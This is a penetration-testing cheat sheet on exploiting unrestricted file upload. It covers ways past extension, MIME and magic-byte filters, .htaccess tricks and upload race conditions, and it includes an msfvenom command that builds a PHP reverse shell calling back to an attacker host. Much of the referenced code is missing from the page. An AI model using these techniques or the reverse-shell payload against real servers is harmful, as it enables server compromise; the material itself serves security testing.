Unrestricted File Upload
Last updated
Was this helpful?
Last updated
Was this helpful?
Occurs when a user's files are taken as input and these files are not properly checked or sanitized.
Steps:
Search for file upload points
Identify target language/framework, such as php
and asp
(ex. use or ffuf with index.<extension>
)
Try to upload executable files compatible with the target language/framework
Try to access the file for execution
Although reverse shells are always preferred over web shells because they provide the most interactive method of controlling the compromised server, they may not always work and we may have to rely on web shells instead. This can happen for a number of reasons, such as having a firewall on the back-end network that prevents outgoing connections or if the web server disables functions needed to initiate a connection with us.
A semi-interactive PHP shell
PHP reverse shell.
msfvenom
msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php
Web shell for different languages
Same.
msfvenom
Like in PHP but also for other languages.
Small php shell non alphanumeric
JavaScript
Possibility to delete or modify the JavaScript code that performs the loading check.
Richieste
Intercept requests with BurpSuite and change the filename, data in the post, and Content-Type.
Test that the file extension is not in a list of prohibited extensions.
Fuzzing Extensions
Lower/Uppercase
It is possible to try lowercase and uppercase mixes.
php
—> pHp
, PhP
, …
Add Trailing Characters
Some components will strip or ignore trailing whitespaces, dots, and suchlike: exploit.php.
URL encoding
For dots, forward slashes, and backward slashes.
If the value isn't decoded when validating the file extension, but is later decoded server-side, this can also allow you to upload malicious files that would otherwise be blocked: exploit%2Ephp
Stripping
exploit.p
.php
hp
In the first for put the special characters you want.
In the second for put the extensions you want.
Add the combinations you want.
Check that wordlist files do not have \r
at the end: sed -i "s/\r$//" extensions.lst
Apache have the directives in /etc/apache2/apache2.conf
.
Many servers also allow developers to create special configuration files within individual directories in order to override or add to one or more of the global settings.
You may occasionally find servers that fail to stop you from uploading your own malicious configuration file. In this case, even if the file extension you need is blacklisted, you may be able to trick the server into mapping an arbitrary, custom file extension to an executable MIME type.
File: .htaccess
Some websites upload the file directly to the main filesystem and then remove it again if it doesn't pass validation. This kind of behavior is typical in websites that rely on anti-virus software and the like to check for malware. This may only take a few milliseconds, but for the short time that the file exists on the server, the attacker can potentially still execute it.
See also .
Perform extension fuzzing in search of allowed extensions to bypass filtering. (BurpSuite Intruder, ffuf, etc.) Wordlists: , ,
Use the below.
If web server validates on the field, you can try fuzzing that field to find allowed types.
The type of a file is determined by its general format and byte structure, usually by checking the first few bytes of the file's contents, which contain the file's signature ().
ex. Add GIF8
at the beginning
A directory to which user-supplied files are uploaded will likely have much stricter controls than other locations on the filesystem that are assumed to be out of reach for end users. If you can find a way to upload a script to a different directory that's not supposed to contain user-supplied files, the server may execute your script after all.
Try with in filename
field in multipart/form-data
.